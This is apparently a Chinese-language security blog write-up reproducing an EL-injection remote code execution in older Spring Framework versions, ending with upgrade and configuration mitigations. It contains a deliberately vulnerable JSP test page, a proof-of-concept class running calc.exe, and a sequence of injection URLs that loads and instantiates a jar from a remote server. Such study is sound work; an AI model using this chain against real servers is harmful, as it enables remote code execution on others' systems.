spring框架遠程代碼執行漏洞

Spring框架遠程代碼執行

0x01 概述

2012年12月國外研究者DanAmodio發表《Remote Code with Expression Language Injection》一文,指出Spring框架存在潛在的代碼注入風險。在2013年1月,國內安全研究人員在微博上分享了該篇文章的中文翻譯內容。

文章中指出Spring框架3.0.6以下版本,在一定的條件下,可以被攻擊者利用,執行任意的java代碼,從而威脅系統的安全性。而且這些存在潛在威脅的版本,在全球範圍中已經下載超過131.4萬,由此可見此問題影響極爲廣泛。

我在這一週中針對文章中所提到的方法,進行了重現。本篇文章將向各位描述這個問題被觸發所需要的條件,實現利用的細節,以及相關的一些防護方法。

0x02 環境搭建

先說下簡單的測試代碼吧,按照文章中所說的,在搭建好的Spring中添加一個jsp文件,其中包含如下代碼:

<%@page contentType="text/html;charset=GBK"%>
<%@ taglib uri="/spring" prefix="spring"  %>
<html>
<head><title>利用Spring輸出HelloWorld</title></head>
<%
String str = (String)request.getAttribute("helloWorld");
%>
<spring:message text="${param['message']}" code="${param['foo']}"></spring:message>
<body>
<font size=’22’><%=str%></font>
</body>
</html>    

紅色代碼部分爲測試的jsp代碼。Spring的message標籤的作用是,根據code取得消息資源,如果指定的code沒有找到任何對應的消息資源,則採用text定義的內容。這裏有一個比較奇怪的地方,文章中說在code屬性處添加$param[‘message’]代碼,通過訪問http://target/file?message=${applicationScope}會在頁面中打印出服務器環境的相關配置信息。但是,這個地方無論我用什麼辦法,都無法讓它裏面的內容顯示出來。所以我不得不將測試的內容放到了text屬性中(這兩個屬性都可以執行EL表達式)。

這個問題雖然有些摸不到頭腦,但還是可以接受的,畢竟還是有地方讓我做測試。在測試後面的內容纔是我噩夢真正的開始!

在一開始測試時,我並沒有按照作者所提供的Glassfish3.1.2.2+Spring3.0.6的環境測試,而是搭建Tomcat6.0+Spring3.0.2的環境。當我在這個環境中,想要通過java.lang.String類調用java方法時出現了問題,提示EL表達式錯誤。訪問http://target/file? message= ${param.foo.replaceAll(“P”,“Q”)}&foo=PPPPP,錯誤顯示如下圖:

1

糾結了一天多的時間,各種搜索,只能搜索到各大網站對這篇文章的轉載,沒有一個具體分析的文章。在我就要崩潰的時候,發現了這樣一句話“After some research, I learned that the EL 2.2 added support for method invocation.”。馬上反應過來,這個特性應該是EL2.2新添加的,而Tomcat6.x是支持EL2.1的,然後果斷的換成了支持EL2.2的Tomcat7.0。依舊訪問那個url,結果如下圖:

2

什麼都沒有!到底執行了沒:(。又是崩潰了大半天,最後不得不乖乖的按照文章中環境進行搭建。這次終於成功了,不容易啊!

3

0x03 代碼執行技術細節

通過上一章最後測試的結果,我們不難看出,在一定的環境下,我們是可以通過EL表達式來調用java代碼的。但是由於限制條件,我們能夠做的事情也是很有限的。不過,DanAmodio和他的朋友在不斷的努力下,終於找到了一個,可以使它執行任意代碼的方法。

他們想到通過java的反射機制,來動態的加載一些類和方法。但是,很多的強大的類(如:Runtime)的newinstance方法是不允許被調用的,沒有辦法對它們進行初始化,也就是說,不能直接的調用這些強大的類和方法。

後來,他們發現了URLClassLoader這個類提供了newinstance這個方法。這個方法是可以動態加載遠程代碼的類,這樣新的利用方法就出爐了! 首先在我們另一臺服務器上放置編譯如下代碼的jar文件:

public class Malicious {
    public Malicious() {
     try {
                  java.lang.Runtime.getRuntime().exec("calc.exe"); //Win
           } catch (Exception e) {
           }
    }
}

然後我們通過EL表達式創建一個數組(URLClassLoader的構造函數需要URL數組作爲參數),存放在session中,url爲http://target/file?message=${pageContext.request.getSession().setAttribute(“arr”,“”.getClass().forName(“java.util.ArrayList”).newInstance())}。

下一步我們通過URI提供的create方法,可以創建一個URL實例,我們把這個實例保存在剛剛創建的數組中,url爲http://target/file?message=${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://serverip/Malicious.jar”).toURL())}。

Malicious.jar文件就是我們之前保存在另一臺服務器中的jar文件。EL表達式中的PageContext類中getClassLoader方法得到的對象的父類便是URLClassLoader,所以,我們便可以調用newInstance方法了,url爲http://target/file?message=${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance()}。

來看下效果圖吧,嘿嘿

4

0x04 總結

  1. 這個問題利用的環境,在目前看來是隻有Glassfish3.1.2.2+Spring3.0.6及其之前版本環境可以實現。從理論上來看應該只要服務端支持EL2.2就可以實現,但是不知道什麼原因Tomcat7.0雖然支持EL2.2,但是卻沒有得到我們預想中的效果。

  2. 在測試過程中,遇到了一個比較低級的錯誤,就是編譯jar 的java版本與服務端的java版本不符,導致代碼無法成功執行。

  3. 對於這種問題的防護,我們給出的建議是將Spring升級到3.1以上版本,因爲這些新版本默認是將jsp的EL表達式支持關閉的。如果不能升級到3.0.6以上版本,請在web.xml中設置springJspExpressionSupport的參數爲false,如下示例:

    <context-param>
    <description>Spring Expression Language Support</description>
    <param-name>springJspExpressionSupport</param-name>
    <param-value>false</param-value>
    </context-param>
  1. 另外即使你使用了Spring3.1以上版本,也要留心這個問題,因爲它只是默認關閉了EL表達式的支持,而並不是修補了這個問題,不小心的配置很有可能會使這個問題死灰復燃的。

  2. 本篇文章中雖然沒有在Tomcat環境中測試成功,但並不代碼這個問題不會在這種環境中出現,我們會繼續跟蹤這個問題。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章